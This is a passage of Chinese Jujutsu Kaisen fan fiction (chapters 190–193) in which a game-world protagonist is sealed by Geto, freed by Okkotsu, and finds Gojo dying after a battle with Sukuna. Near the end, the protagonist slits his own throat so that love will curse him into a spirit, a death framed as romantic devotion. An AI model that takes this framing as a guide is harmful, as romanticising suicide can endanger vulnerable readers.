他是一个人去战斗,又远不止是一个人去战斗。 “哈哈好啦,别生气。” 五条悟又开始使出对付恋人的咪咪喵喵撒娇大法,“等我回去煮又香又甜的红豆小年糕汤,我们一起吃怎么样?就是我上次煮给你吃的那碗,味道很不错吧?” 虽然大部分时间都是羽取一真下厨,但五条悟也不是料理白痴——他只要有空也会在买菜回家做饭,而且做得还非常不错。 毕竟他就是什么都能轻松学会的全能型天才啦。 五条悟笑眯眯等着羽取一真立刻被他这点小花招哄高兴了,乖乖应了声“好”以后,才挂断电话。 “——好了,现在是八点半,得赶在商场关门之前搞定才行。” 用[苍]赶到文化村大街的[帐]之外,自言自语的五条悟先打开手里喇叭的扩音功能,才抬脚一步迈了进去。 [帐]的内外,已经被隔绝成两个世界。 涉谷已经被全部清空了,只剩下严阵以待的咒术师和被关在[帐]内的受困者。 而这些人数众多的受困者也并没有产生大面积的恐慌情绪——甚至还有人站在广场上高声组织所有人行动起来,找元凶的、照顾老弱病残的、警戒的、巡逻的,竟然可以称得上有条不紊。 大概是他之前没有现身的关系,这些受困者看起来也没有出现伤亡。 是自以为拿大量普通人当挡箭牌,他就没办法出手祓除它们了吗? 五条悟拉下用来隔绝视线的眼罩——连同白发散落、不再有任何遮挡的面容在内,那双宛若浮云晴空的雾蓝苍瞳在夜间的此刻,冷然睁开。 当他如雪豹般轻盈跃起,站在更靠近街道中心的其中一根电线杆上时,瞬间就吸引了在场所有人的视线。 “是五条大人!” “还是这么帅啊啊啊!!!” “啊啊啊我推的悟酱真的来了!” “我喜欢你好多年了五条大人!!” “做出这种事的是那些不长脑子的狂热粉丝,绝对不要把我们也算在内哇!!” 早就退圈的大明星五条悟,真的为他们而赶来这里了! 这条轰动的消息好似在人群之间彻底炸出无数道灿然烟花,大家都激动得高呼他的名字,挥手尖叫,抓紧机会表达自己的崇拜与喜爱,闪光灯与拍照声不绝于耳,甚至还有人当场唱起《FIND》的副歌部分来。 原本分散到各处的人,也迅速往这边聚集,还有跑到假发、帽子和道具都掉地上,也感觉捡起来会耽误自己能亲眼看见偶像的机会,因此选择继续八百米冲刺的。 从很远的地方,就能听到边气喘吁吁边大声喊五条悟的名字,让他不要走这么快的。 真是一点紧张感也没有啊。 五条悟在心底里笑起来,却只觉得他们可爱极了。 他有点找回曾经在润子的演唱会当嘉宾出场唱歌时的感觉了——那时候也是,大家都很喜爱他,排山倒海呼唤着他的名字,却并非出于畏惧、排斥与厌恶,而是纯粹的喜欢与支持。 “嗨-嗨大家晚上好,没错,我就是你们的五条悟哦——” 五条悟将喇叭举到嘴边,只简单说了句开场白,众人便又高举双手欢呼起来。 “五条悟!五条悟!五条悟!五条悟!!” 连呐喊声都逐渐变得格外整齐,仿佛大家真的是在演唱会上与五条悟重逢,而他们也将为他打满一整首的call。 ——与此同时,地下五层的副都心线站台。 漏瑚听到顶上遥遥传来的激动呼唤,还以为自己听错了。 “喂喂他们这是在干什么,不应该感到害怕和慌乱吗??” 【他们似乎很高兴五条悟的到来。】 花御的开口是一串无法辨析含义的发声,但它用直接将意思传入漏瑚脑海里的方式,表达了自己的看法。 “我当然知道啊,但这欢呼声高兴得有点不正常……等等,这些刚才还在站台里游荡的人怎么也都跑了!” 漏瑚正在嘀咕,突然发现刚才还能用来妨碍五条悟出手的那些普通人,已经通通跑没了影子! 等它回过神的时候,这帮人都在沿着楼梯往外面跑,边跑还在边喊着什么五条悟来了,快冲啊,就在大厦外面呢,是活的五条悟…… 眨眼间,整个站台就只剩它和花御站在这里等人,格外空旷。 漏瑚:“………” 不是,五条悟那家伙是有什么魔力吗,怎么能把这些随机抓过来当人质的路人都吸引跑了?! 【出去打吗?】花御适时发出声音,【再不出去,等会五条悟过来对我们动手,就没有普通人需要顾忌了。】 “…这说的不是废话吗,我们也赶紧跑啊!” 还留在这里等五条悟?是等着被祓除吧! 五条悟单打独斗的时候,简直强得可怕——夏油杰还要他们拖延至少十分钟呢! 漏瑚和花御也赶紧循着人群的动静往大厦外面冲,生怕慢一步就被五条悟逮住,当场进行一个爆头攻击。 而来到街道上,它们才明白这些人为什么都在往这里聚拢。 他们层层叠叠簇拥在五条悟身旁,就像找到了可以毫无保留信任的主心骨。 “大家要尽量分散开哦,不要拥挤,不用害怕,我不会让你们出事的——嗯嗯,我也喜欢你——哈哈好好,我也喜欢大家,都喜欢——好了好了,等会我去解决罪魁祸首的时候,记得离我远一点,越远越好——最少五十米,不,一百米开外,随便去哪里躲起来都好,现在预备——跑!” 在粉丝们无条件的信任下,五条悟拥有无上限的号召力与动员能力。 当他举着喇叭喊出“跑”这个字时,花御和漏瑚发现原本还挤在这里的所有普通人,真的又开始听话地朝远离五条悟的方向狂奔,好似听见了发令枪响的运动员。 这一连串极快的变故让漏瑚难以置信,但很快他就顾不上就考虑原因了,因为五条悟刚才这么说,就是为了给他接下来的战斗空出片足够大的场地—— 而此刻,他已随手丢开喇叭,在这片没人的街道上,依靠[苍]瞬移到了它们跟前! “呵呵呵,你们的准备很充分嘛。” 与对待粉丝们的态度截然相反,五条悟冷冰冰笑起来,抬手朝这两只已经开始流汗的特级咒灵指去——与此动作相称,望过来的苍瞳同样凌冽如极北严霜,翻卷着细微却汹涌的怒意。 “现在呢,还敢看不起我,用点这种不入流的小把戏吗?” “——马上就把你们都祓除(杀)掉。” 190-200 第191章 在五条悟的必杀宣言面前, 没有任何人或咒灵敢毫不在意——或是假装自己并不在意。 尤其是上次被轻松揍到仅剩下一个脑袋狼狈逃离的漏瑚,更是精神紧绷得近乎濒临极限。 如果不是夏油杰交给他对付五条悟那个[无下限]术式的办法,漏瑚保证自己绝对不可能在这里停留哪怕一秒钟。 花御还想开口说点什么, 但五条悟没有再继续跟敌人说废话的打算。 [帐]里面还有许多喜爱着他、信任着他的受困者, 他必须要速战速决,不能多生事端——尤其是夏油杰的术式很麻烦,一旦对方决定放出大量咒灵,他就必须要做好会有受困者牺牲的代价。 而此时此刻,哪怕一个受困者,五条悟也不希望他们出事。 依靠[苍]的短距离超高速移动是根本无法以动态视力或咒力感知到的, 五条悟放弃了使用大范围高杀伤技能的[茈]或[赫],而是在每一记近战攻击中都附加了可以输出咒力更少、更方便小范围精准控制的[苍], 眨眼间便杀到了明显更恐惧他的漏瑚面前! 漏瑚的反应不算很慢——至少没有再像上次那样白白挨打, 而是立刻使用[领域展延], 依靠包住自身的[领域展开]来中和五条悟的[无下限], 挥拳就要进行反击—— 啪。 五条悟仅是侧过身,却伸手捉住了它的手臂。 一拳落空, 却又忽然发觉自己能触碰到五条悟的漏瑚怔了下,随即发现对方发出声冰冷的、好似得到了玩具的轻笑——紧接着,五条悟反手将它自背上翻过去以躲避花御的飞踢——又一脚踹开试图接着攻击他的后者——在这辗转腾挪间,漏瑚尝试抽回手, 却错愕发现五条悟正在用力—— “嘿——咻。” 宛若从烤鸡上撕下一只翅膀, 漏瑚的那条手臂便被五条悟轻描淡写地,彻底拧断! 哪怕解除了[无下限]术式又如何, 五条悟能达到的[最强]从来都不是单依靠某个术式,而以他那份无与伦比的聪慧所钻研及并能灵活应用的各种战斗技巧。 “[领域展延]啊,果然有诅咒师和你们是一伙的吧?夏油杰?” 身量颀长的五条悟站在原地, 就如同扔一袋垃圾般,随手将拎在手里的断臂丢去一旁。 花御比他要高上些许,却仿佛已矮了五条悟一头,连正眼看向那双冰蓝苍瞳的勇气也没有。 虽说,杂草的眼睛部分是两根长出来的枯枝啊。 看咒力的流动,那里应该是薄弱点? 决定了,等会就把它拽出来试试。 五条悟的大脑飞速运转、思考、判断,面上却仍然带着极少见的轻蔑笑意,用漫不经心的话语挫败敌人本就不多的信心。 “凭这种程度就想赢我,你当时被救回去的,其实不是脑袋吧?” 漏瑚依靠反转术式治愈断臂伤势,恐惧的情绪已不可避免的在心底蔓延,却说不出一句反驳的话。 “接下来看我这招,[赫——” 【漏瑚!】 看见五条悟已抬手好似要瞄准漏瑚发动近乎能贯穿一切的[赫],刚才被五条悟踹飞的花御下意识就要解开[领域展延],转而要使用生得术式帮漏瑚抵抗这记攻击—— “不要解开[领域展延],花御!!” 在那转瞬即逝的间隙,漏瑚发觉五条悟唇边的冷酷笑意又扩大些许——那是一切发展尽在他掌控之中的傲然与不屑。 刚想通过加大咒力输出来硬抗这记攻击的它便在惊慌之下高声叮嘱,却在下一刻见到五条悟在[苍]上的使用已然登峰造极,没有任何延迟的闪现至花御身前——甚至以它的肩膀与腹部来当做落脚点。 或者说,借力点。 “打扰,我来除草咯。” 只一个照面,踩在这只咒灵身上的五条悟便已握住长在它眼睛部分的那两根枯枝,并在对方的惨叫之中,毫不迟疑地使力全部拔出! “啊啊啊啊!!!” [领域展延]和生得术式不能同时使用——哪怕五条悟没有实验过这点,也能根据战斗积累的经验与对咒力的深刻理解,从而迅速推断出这个结论。 至于这两只能像人类一样思考、拥有领域的特级咒灵,在一打二的五条悟看来,依旧很弱。 受困者也已经跑到一百米以外了吧,就算他展开领域,也已经是绝对不会被波及到的程度。 五条悟抬起右手,已将中指搭在食指之前,比出[无量空处]的发动手势。 马上就可以祓除掉它们。 如果夏油杰以为这样就能拖住他,那还真是太过可笑。 有什么招数不如尽快使出来吧,无论是大肆屠杀的杂碎咒灵也好,还是更强大的敌人也好。 话说,一真来得好慢,再晚点就只能跟着他一起面对粉丝的热情包围与签名合影请求啰。 这个念头并没有在五条悟的脑海里停留太久,便继续集中注意力,打算用[无量空处]速战速决,不给敌人一丝翻盘的机会。 而漏瑚也完全清楚在领域展开的比拼中,它们是绝对不可能对抗过五条悟的那个领域的! “等等……等等……羽取一真!” 在求生本能驱使下的绞尽脑汁之中,漏瑚惊慌喊出了那个令五条悟动作一顿的名字。 “……什么?”他开口。 “羽取一真被夏油杰用[狱门疆]封印了!” 漏瑚语速极快,它其实并不确定夏油杰能不能顺利封印羽取一真,但此刻的它誓要为自己和花御赢得一线生机——在五条悟的包围下,它们甚至连冲去旁边大楼里挟持人质的念头都没有机会实施! “这就是为什么我们负责在这里拖延你!要是不想那家伙死掉的话,你最好别再……” “——[领域展开·无量空处]。” 一真始终没有赶来的原因找到了,五条悟却仍旧逐字逐句,念出这个令漏瑚与花御的心彻底坠落冰窟的招式。 愚蠢的家伙,竟然以为他会接受敌人的威胁与摆布。 就算一真被封印又如何?只要人没有出事,他也照样有能救出对方的绝对自信。 ——咒力涌动的刹那间,展开的无下限内侧将这两只特级咒灵的身影吞没,彻底拖入死亡的深渊。 ………… 时间往前倒退片刻。 在涉谷的警戒边缘,接完电话的羽取一真让负责送他过来的司机停车。 “到这里就可以了。” 前面道路上警戒的咒术师和辅助监督太多,继续开车进入的话,目标会变得极为明显,很快就会有人上来盘问,大概率还能认出他这个仍在通缉中的诅咒师。 按照禅院直哉发来的人员分布情报,羽取一真很快在手机打开的地图上划定了条离[帐]最近、又没有人员看守的线路。 上周目对禅院直哉的那顿打真是揍得太妙了,让他在这周目能收获一个不敢不听话的总监部眼线。 羽取一真收起手机,大致确定完方向后便开始朝目的地迅速赶去。 据说这里还降下了好几个高级的[帐],但羽取一真并不在意,只想尽快和五条悟汇合。 “呀,羽取。” 自阴影处骤然响起的熟悉声音,传入羽取一真的耳朵里——他的脚步同时一停,看向夏油杰的方向。 夏油杰双手拢在宽大的袍袖里,微笑走到了路灯下,与羽取一真站的距离不远不近。 换句话说,凭借多年的相处,熟知羽取一真术式的他踩在了对方释放[十方摩诃]的极限距离以外。 羽取一真正要朝他靠近以发动[十方摩诃],却见对方周围同样咒灵环绕,而本人则举起手机。 “我这边还留着某些咒术师的联系方式,你也不希望我打出这通电话,让你的行踪彻底暴露,没有办法去支援五条悟吧?” 这句威胁很有效,成功令羽取一真停下脚步,只能站原地听他又接着说“别急嘛,只是聊会天而已”。 羽取一真沉默片刻,“……是你策划的这起事件?” 夏油杰想了想,“嗯,差不多吧。我离开盘星教后,也算是又找到了些搭档,他们都很支持我的想法。” “进化全人类?” 羽取一真冷淡接话——在他遇见夏油杰的瞬间,[业双]便立即从物品栏取出,随时准备开战。 “那是荒谬的解决办法。我后来听悟说了,九十九由基曾经研究过这个方向,得出的结论是[所谓的进化全人类,实际上需要只能利用天元的结界来完成。因此,能够进化成为咒术师的普通人,仅限于日本境内。当然,原本海外的术师与咒灵都极端稀少,进化全日本人看起来也能解决办法——但实际上,这意味着咒力这一资源会被日本垄断,进而引发其它国家的不满与野心]。” “有什么问题吗?”夏油杰说道,“我早就思考过这个结果,并认为这是可以接受的。而且,你仍旧不得不承认一点:只要我达成目标,不断涌现在这个国家的、像蛆一样恶心的咒灵就会彻底消失,再也不会有强者被迫死于自弱者身上诞生的罪。” 羽取一真:“即使会引发大规模的战争?” 夏油杰微微抬起下巴,“那些都只是非术师罢了,只要多杀一些,他们就会知道自己必须安分下来,服从强者——服从我们咒术师才行。” “你依旧认为自己是特别的存在,只因为多了咒力这种力量。” 羽取一真面无表情,只觉得这家伙的想法实在有够偏激,“那些以杀人和诅咒为生、如今愿意与你同行的诅咒师,大概跟你的想法也差不多。” “所以呢,你赞同九十九由基的观点,让全人类摆脱咒力?” 夏油杰笑了,似乎在嘲笑羽取一真的异想天开。 “那才是不可能的,羽取。”——他的语气温和,仿佛是真的在对着这位久别重逢的老友进行耐心劝导。 “我知道你觉得没有咒力的社会才正常,但咒力本身就是在这个世界运转的根源之一,更别提哪怕是[天与咒缚],也能诞生出与幸吉这样的零咒力反例……哦你大概不清楚,与幸吉就是京都校那个失去了健康身体、换来超广术式范围与超强咒力输出的二年级学生。” 来自现实世界的羽取一真面对这个问题,既没有回答可能、也没有不可能,只是再度转到另一个话题。 “这就是你接受了羂索洗脑的理由?” 他们在进行不动声色的言语交锋,隔空遥遥对峙的双方都在意图使其中一人的心理出现破绽。 “也称不上是洗脑,毕竟我始终认为这个社会的结构与秩序是错误的,而他恰好给我提供了一条可行的路。当然,有你的提前透露,我也清楚他说那些只是想获取我的认同、好感与亲近,进而趁机夺取我的身体。所以啊,我不是也没向他透露你们的计划,反过来和你们一起成功杀掉他了吗?” 夏油杰微笑着将双手从袖袍中露出,摊开在他面前。 “老实说,[干脆杀光那群不懂感恩的猴子]好了——这种想法我也不是没有过。嗯,只是可能性要更低一些,如果我拥有五条悟那样的力量,或许就可以办到了吧。” “这话说的更荒诞,你永远也不可能成为悟。永远。” 对于这个话题,羽取一真只简短回了一句话——他的目光以及注意力,更多放在夏油杰其中一只手握住的奇怪立方体上。 “随你怎么说,大家总归有各自坚持的想法,我并不会强求他人的同意,也不指望所有人都能理解我如今坚持的[大义]。不过,我们闲话聊得也够多了。” 注意到对方已经注意到他手中的[狱门疆],夏油杰同样不再继续闲聊,转而将它抛在羽取一真的身前。 “[狱门疆·开门]。” 由裂开的立方体四角拉扯着延展而成的血肉扭曲,干瘪,仅有正中央的偌大眼球宛若被订书钉固定着强制睁开,淌着血泪与羽取一真对视。 这是什么东西?咒物?咒具? 羽取一真在心底困惑皱了下眉毛,但他也清楚这肯定是夏油杰用来对付他的某种道具,下意识就要在掷出[业双]的同时先拉开距离—— “我知道你藏得最深的那个秘密,羽取。” 夏油杰忽然出声,“关于你爱着五条悟的那个[灵魂]。” 灵魂?秘密?莫非夏油杰知道了他其实早在一周目就爱上悟的事情? 羽取一真的身形一顿——在此刻瞬间飞掠过脑海里的,是他在当加茂家主时与悟度过的、那段仅剩他还记得的回忆。 见面、求婚、送礼、结伴、同居、交心、相爱……最后则是,离别又重逢。 只这一刹那,这个展开的立方体便已悄然消散。 紧接着,这些扭曲而猩红的血肉自羽取一真的体内再度长出,将他牢而坚固地钉在原地,再也无法动弹半分…! “……?!” 羽取一真挣扎了下,发现技能界面全部都变成无法使用的灰色状态——甚至连退出游戏的选项都被锁定了! 那柄[业双]也自被束缚的掌中滑落在地,滚了一圈后,被终于朝他靠近的夏油杰俯身拾起。 “你真的很难对付啊,羽取,比五条悟还难对付。他好歹会顾忌其他人的死活,而你除了五条悟以外,什么也不在乎。” 听完夏油杰感叹的羽取一真没有任何反应,眉眼间是肉眼可见的极冷,连盯着夏油杰的黑瞳都是幽深的,宛若无光无声的死寂深海。 “你在诓我。” “倒也不是完全骗你,” 封印羽取一真的计划很顺利,夏油杰让那只能储物的咒灵吞下[业双],心情不错的随口解释道。 “真人触碰过你的灵魂,发现那是一团燃烧的火焰,与所有人都不同,它甚至还因此遭到了反噬……啊,这点我也应该感谢你。否则的话,我现在应该还在头疼该怎么吸收真人呢。” 原来这才是那只特级咒灵没给他掉咒力结晶的缘由,而非对方成功活下来了。 羽取一真的情绪更差,“要杀我就快点。” 玩家马上读档重开,要做的第一件事就是干掉眼前这家伙。 “那可不行,你已经被[狱门疆]锁定了,必须要封印在里面。” 夏油杰摇头,“何况,你还是我接下来针对悟的计划所需要的道具之一。” “……你说什么?” 原本神情冷漠的羽取一真立刻流露出极为恼火的怒意,却又在冷静片刻后,半嘲弄半冷笑对他开口。 “我才不需要悟为了救我,听凭你这种人的威胁和摆布。悟也同样会清楚我的想法,你这么做不过是自取其辱。” “是吗?这可不好说。毕竟我准备的棋子,并不止你一个。” 夏油杰轻叹着,将这个消极的、残酷的现状,摊开在对方面前。 “在咒术界,全心全意喜欢五条悟的人、无条件支持五条悟的人……那才是只有你一个啊,羽取一真。” “[狱门疆·关门]。” ——— 随着这些扭曲肉块的缓慢闭合,羽取一真的视线逐渐转为漆黑。 游戏内的五感太过真实,他好像真的被关在了什么地方,四周全都是咯咯作响的骷髅架子,根本找不到离开的出口。 打开游戏的系统界面,无论【技能】抑或【退出游戏】,仍旧是灰色的锁定状态。 比起不能从这里出去,夏油杰最后说的那句话,才更令羽取一真在意。 分明是实力已经强到断层的悟,夏油杰却好像笃定自己有办法对付他。 包括那些咒术界的人,悟一直有在刻意回避提到这个话题,但偶尔透露出的只言片语依旧能让羽取一真察觉到——除去崇拜着他长大的非家系术师学生外,那些人对待悟的看法与态度,似乎更偏向中立乃至负面。 还有咒术界那些高层,这次的涉谷事件就是让悟一个人去应付的,莫非下次再出些什么大事,依旧要让他独自站在前线吗! 无法释怀。 无法容忍。 无法原谅。 在这段分辨不清时间流逝的黑暗里,憋在羽取一真心底的怒意宛若一口被缓慢加热的油锅,焦躁与烦闷在无法传递的担忧中逐渐上涨至极限。 他如果出去的话…… 视线落在漆黑的、望不见任何景色的虚空深处,羽取一真在心里漠然想道。 倘若等他出去,看见悟发生了任何意外, 他会杀光所有人。 第192章 … …… 一声轻响, 好似刀刃刺破血肉,又竖向切割出几道整齐的豁口。 几许光丝经由这些缝隙穿透黑暗,扩大, 直至彻底照亮这片空洞且虚无的囚笼。 ——但这些动静, 似乎只是羽取一真的幻觉。 待在这片空间的感觉仿佛坠落无底的深渊,时间过得极快,快到数月数年好似白驹过隙,外界已经历沧海桑田;时间又过得极慢,慢得一分一秒都感觉焦灼,精神与意志皆在被痛苦缓慢磋磨。 有一簇火苗, 它在以这份痛苦为燃料,愈烧愈烈。 【当前隐藏委托:乙骨忧太的诅咒, 已完成。】 【奖励:解锁技能<术式反转·劫>。】 忽然弹出的委托完成通知, 闪烁着微光浮现在羽取一真的眼前。 “一真先生!” 随之而来的, 则是一句真正的呼唤, 将被困不知多久的黑发青年重新带回了这个拥有光明与声音、以及时间流动的世界。 是乙骨忧太。 他近乎脱力地握着一把武士刀,发丝汗津津的黏在鬓角, 白色的高专制服上衣沾染了大片尘土与暗稠的血——甚至还在努力平复着喘息,明显刚经历一番苦战。 但既然是他终于打倒了敌人,那些战斗就不再是重点。 关键是一真先生目前的状态。 在解开[狱门疆]的封印前,乙骨忧太就被告知过[那里面的时间不会流逝, 一秒也可错乱感知为一千年;倘若解除封印, 受困人的精神状态将会是一个无法判断的、极大的不稳定因素]。 五条老师听完后,仍然坚持要救出一真先生并解开封印, 同时表示有他在,一真先生绝不可能成为[不安定因素]。 可那是之前的事情了啊…… 现在这种情况,乙骨忧太甚至希望一真先生真的如那些人所言, 是一个除五条老师以外,根本不在乎任何人的魔王。 因为,哪怕是站在这片废墟上抬眼望去,也只能看见更大片的废墟,是望不见尽头的荒凉与疮痍。 而从[狱门疆]里面出来的一真先生,始终都没有开口说哪怕一个字;仅有那双望过来的黑瞳淡漠而幽深,根本分辨不出任何情绪。 也无法揣测一真先生的想法。 他只有在五条老师身边时,脸上的表情才会显得更生动些许;连露出的笑意也是浅淡却真实的,那股冷霜似的疏离感也会彻底消融,化作更沉稳与温和的亲近姿态。 但是,此刻的一真先生没有五条老师在他身边——或者说,他大概已猜测到了眼下的糟糕现状。 “一真先生,您还……” 乙骨忧太深吸口气,斟酌着先从询问对方情况开始。 “说重点。长话短说。” 羽取一真冷淡打断乙骨忧太的问候,面无表情。 “今天是11月24日,夏油杰在11月1日启动10处[死灭回游]结界,往里面释放上千万只咒灵、解封咒物后觉醒的古代术师,以及经过[无为转变]改造后的现代术师。” “五条先生几乎没有休息,一人打穿其中8处结界,不仅祓除了至少四分之三的咒灵,还击杀了大量古代术师。” “但夏油杰趁机用自己能救伏黑津美纪为条件,逼伏黑惠做了件事。他要伏黑惠将悠仁…不,确切地说,是将悠仁体内的两面宿傩拉入魔虚罗的调伏仪式。” 心底急切的乙骨忧太咬紧牙,语速逐渐加快,“我当时也在帮忙平定结界,不知道具体发生了什么,回来时就被告知两面宿傩已经占据伏黑惠的身体,还与赶过去的五条老师定下死战之约。” “高层的意思是让五条老师自己去摆平,因为他是当初唯一一个反对悠仁死刑的人,就必须要自己去收拾好这些烂摊子。” “想要支援五条老师的我、悠仁和校长他们,都被高层下令关在贴满符咒的囚室里,禁止反抗与逃跑,否则以诅咒师论处,即刻执行死刑。” 始终没什么表情的羽取一真,听到这句话才微微转动黑瞳,认真看向乙骨忧太。 “那你是怎么出来的?” 乙骨忧太一只手握着那柄尚未擦去血痕的武士刀,另一只手抬手指了指自己的头发。 “有个挑染金发、耳朵上打了很多耳钉、和五条老师差不多年纪的奇怪青年,偷偷把我放出来的。他还当时嘀咕着什么[真不想干这种只有风险没有收益的赔本买卖]之类的,并叮嘱我绝对不能透露给总监部那边。啊,他有说可以告诉一真先生。” “另外,他还说自己会去尝试联络九十九由基,询问她是否愿意从外国赶回来支援五条老师,但别抱多少希望……从发动[死灭回游]开始,国外便封锁了所有能够来到日本的途径,忧忧的术式又需要提前打好标记才能移动。” 乙骨忧太并不清楚那位说话半是礼貌半是刻薄的陌生青年是谁,但一真先生明显认识,因为他并没有继续追问。 “五条老师与两面宿傩的约战之日就是今天,冥冥小姐在帮忙用术式进行直播,我本来也想参与战斗,但五条老师说我不能出现在那里,转而拜托我来岩手县的结界找夏油杰,说只剩这里他没来过了,夏油杰一定藏在这个结界里,只要打败他,就可以解封[狱门疆],放你出来……” 乙骨忧太抓紧时间往下讲,又被羽取一真打断。 “决战地点是?” “新宿,”他立刻回答,“在新宿。” 乙骨忧太看着一真先生沉默片刻,只问了一句话。 “既然在直播,就等于并不是所有术师都被关起来了。那些人为什么不去帮忙?” 乙骨忧太怔愣片刻,不知道该怎么回答才是正确的——但他也只能照实说。 “其余人的话,有些认为自己实力不足,贸然参与顶尖术师的战斗实在太过危险;有些觉得只要交给五条老师就可以安心;还有些已经逃到更安全的海外……总之,秤学长恰好之前为了开地下拳击赌丨场而被停学,我便请求他去新宿帮忙对付两面宿傩的部下里梅,目前还不清楚战斗结果。” “……” 听完之后,一真先生比之前沉默了更长时间,脸上也看不出任何想法或情绪。 乙骨忧太却隐隐有种感觉……一真先生此刻,正处于极端的不安定状态之中。 “有办法立刻赶回新宿吗。” 他终于听见一真先生开口。 “有,”乙骨忧太点头,“虽然能使用术式的里香刚才由于我的解咒而消失了,但我有花大价钱拜托拥有长距离传送术式的忧忧一起过来,他能把我们带回新宿。” 其实也可以说,没有里香的他此刻已经彻底失去战斗力,再回去也没办法帮五条老师对付两面宿傩了。 这也是乙骨忧太无论如何都要解封[狱门疆]的原因。 还能帮忙五条老师的人、还会愿意支援五条老师的人,只剩下了一真先生。 “好。”羽取一真淡淡道,没有再多问一个字。 “刀给我。” “啊,”乙骨忧太连忙将手里那把武士刀递过去,“但这只是普通的刀,并不是什么咒具……” 因为刀对他来说是消耗品,导致乙骨忧太更倾向于随便找把武士刀凑活用,平时战斗都是直接往里灌注咒力。 “嗯,就要这样。” 羽取一真挥了下这柄并不算趁手的打刀,没有多余的话。 他对整个咒术界,已经失望透顶。 忧忧的长距离传送术式并没有差错,他们成功回到了同样满目狼藉的新宿。 离这边稍远些的某个方向,正传来隐约的轰鸣——那是五条悟在与两面宿傩交战之时,伴随无数被摧毁的建筑物倒塌而制造出的动静。 “对了,还有个消息,我不知道对一真先生是否有帮助。” 在一真先生正要动身赶往战场时,乙骨忧太又想起一件事。 “附身在伏黑惠的两面宿傩通过手指之间的感应成功袭击高专忌库,吃掉了保管在忌库里的所有手指;里梅也大概率帮他找齐了剩下的……也就是说,两面宿傩至少拥有19根手指的实力。” “另外,五条老师也提到自己有尝试过提前去跟薨星宫的天元大人商量保护事宜,但他在那里什么也没找到。” “嗯,多谢,是很有用的信息。” 羽取一真脚步微顿,听完这些后便头也不回的继续离开了。 那把武士刀握在掌中,血痕沿着银灰色的刀脊缓慢滑落至刃尖凝聚,又猝然滴落尘埃里。 他根本不在意那片战场的咒力有多浓厚,或是与所谓的[诅咒之王]两面宿傩对决又会有多么危险。 他只是朝自己唯一在意的人奔赴而去。 快一点,再快一点! 握紧武士刀的羽取一真踩着崩碎的碎石与残垣,朝交战中心冲去——有数只乌鸦在天空盘旋,好似代替了那些坐在屏幕前的旁观着,眼瞳仅冷酷倒映着底下的场景。 而在那里,堪堪赶到边缘的羽取一真正好看见五条悟的胸口被切割开数道极深的伤势,正缓慢朝后倾斜、跌倒,与那些滴落的血同样,安静躺在尘埃里。 如同一座高山,在巨大的推力下,终于缓慢倾覆。 “悟…!!!” 这一声,羽取一真喊得撕心裂肺——五条悟已仰面倒在地上,唇角却好似要翘起一个安抚自家恋人的微笑。 但那双已接近涣散的苍瞳里,却透露着不赞同的情绪,仿佛又在质问他为什么要过来。 不远处的两面宿傩半张脸满是血污,同样显得狼狈至极;但他仍站立着,其中一只手腕上缠绕有数条编织的黑绳,末端有大量烧灼的痕迹。 是能够混乱术式效果的黑绳。 夏油杰知道它可以用来对付五条悟的术式,便不知道用了什么手段,让它从米格尔那转移到了两面宿傩的手上;并在对决的关键时刻,两面宿傩用来搭配自身的术式,出其不意给了五条悟致命一击。 “难得我现在心情正好。” 见到这个曾经挡下过他术式的家伙在此刻闯入战场,两面宿傩皱起眉毛,分外不悦。 但他也并不会小看这个术式特殊的敌人,全神戒备着,要等羽取一真先出招。 比起先出手后被挡下,显然由这家伙先击破某片空间,而他趁机绕过这片破碎的空间进行反击,是最有效的应对策略。 或者再拖延片刻时间,等他恢复状态,照样可以用[伏魔御厨子]奠定胜局。 “你若是想来送死,我也马上就能成全你。” ——只是,羽取一真并没有立刻投入与两面宿傩的战斗。 他仅仅沉默着,跌跪在五条悟的身边,单手握着那柄向乙骨忧太要来的武士刀,单手抚上五条悟心脏——那里有道被斩开、被贯穿的深深豁口,亦如他在[狱门疆]里产生的幻觉。 或者说是,不愿面临的最深恐惧。 “你还不会领域展开,一真。” 五条悟尝试劝说精神状态已经明显不对劲的自家恋人,却在张口瞬间,便随着断断续续的话语而呛咳出大量的血,连呼吸都化作一种对肺腑的酷刑。 “快离开这里,不要和宿傩战斗……你会死的。” 哪怕他此刻死去也无所谓,至少一真要能活下来。 忧太成功救出一真了啊,真好,还没来得及感谢他呢…… “我知道。” 羽取一真低声回道。 [最强]并非是无上的荣誉,反而好似一种残酷的、不可理喻的诅咒。 作为武器而诞生,作为武器而死亡。 他拒绝这样的世界,并绝不与它和解。 “但有一种办法,能让我立刻展开领域。” 羽取一真维持着姿势不变,仅反手将那柄武士刀竖起,流淌在刀身的冷光倒映着他的黑瞳,宛若照进了一片幽深的、死寂的炼狱。 “悟,你爱我吗?” 羽取一真问出第一句话。 五条悟的苍瞳微微睁大,难以置信地颤动。 “爱是诅咒吗?” 羽取一真问出第二句话。 “那就诅咒我。” 羽取一真说出第三句话。 这柄被握在掌心的武士刀已反过来,刀刃横亘于自己的颈间,小臂收力,贴紧肌肤。 “诅咒我吧,悟。” 羽取一真闭上眼睛。 是的,经历过无数次烈火淬炼的它足够锋利,泛着冷硬金属特有的银灰光泽,能在发力的瞬间,轻易斩断生与死。 血液在争先恐后溢出,迅速顺着刀脊滑落,直至令这条脆弱的生命彻底凋亡。 乙骨忧太能将死去的里香诅咒成特级过咒怨灵,没道理悟做不到。 来诅咒他吧,悟。 ——在这呼吸断绝的一瞬间,有另一种更轻盈的、漂浮的感觉代替了这份并不算特别强烈的痛楚。 他好像忽然感知到四周还存在着另一样特别的东西,流动着,像瘴雾般无处不在,萦绕在任何地方。 啊-啊,这就是所谓的[咒力]? 与此同时,更庞大的愤怒在羽取一真的心中迸发,如同无休无止燃烧着的炽焰——但要更野蛮、更无拘无束,他要让它彻底释放出来,彻底点燃这个世界——他要将它烧尽,再彻底重塑! 隐约传来一声遥远的凤鸣,好似一团炽白的火焰自天际缓慢坠落。 而彻底展开在此刻的生得领域,已凝固了一切——风也停歇,气流也停滞,所有声响都彻底消失,好似被定格成一张永恒不变的胶片。 这是属于【特级过咒怨灵·羽取一真】自动展开的生得领域。 [生得领域·一真法界]。 无二曰一,不妄曰真,交彻融摄,故曰法界。即是诸佛平等法身,从本以来,不生不灭,非空非有,离名离相,无内无外,惟一真实,不可思议,是名“一真法界”。 【未来构拟崩溃度:90%。已超过上限。】 【数据封存开始。】 【数据转移开始。】 【数据转移失败。】 【时间倒转自动开始,时间点为[平成元年]。】 【——本周目结束。】 第193章 平成元年, 12月7日。 拥有[六眼]的五条悟,震撼降世。 只不过,此刻的他尚未被赋予姓名, 连身体都仍是小小一团, 安静的蜷缩在襁褓里沉睡。 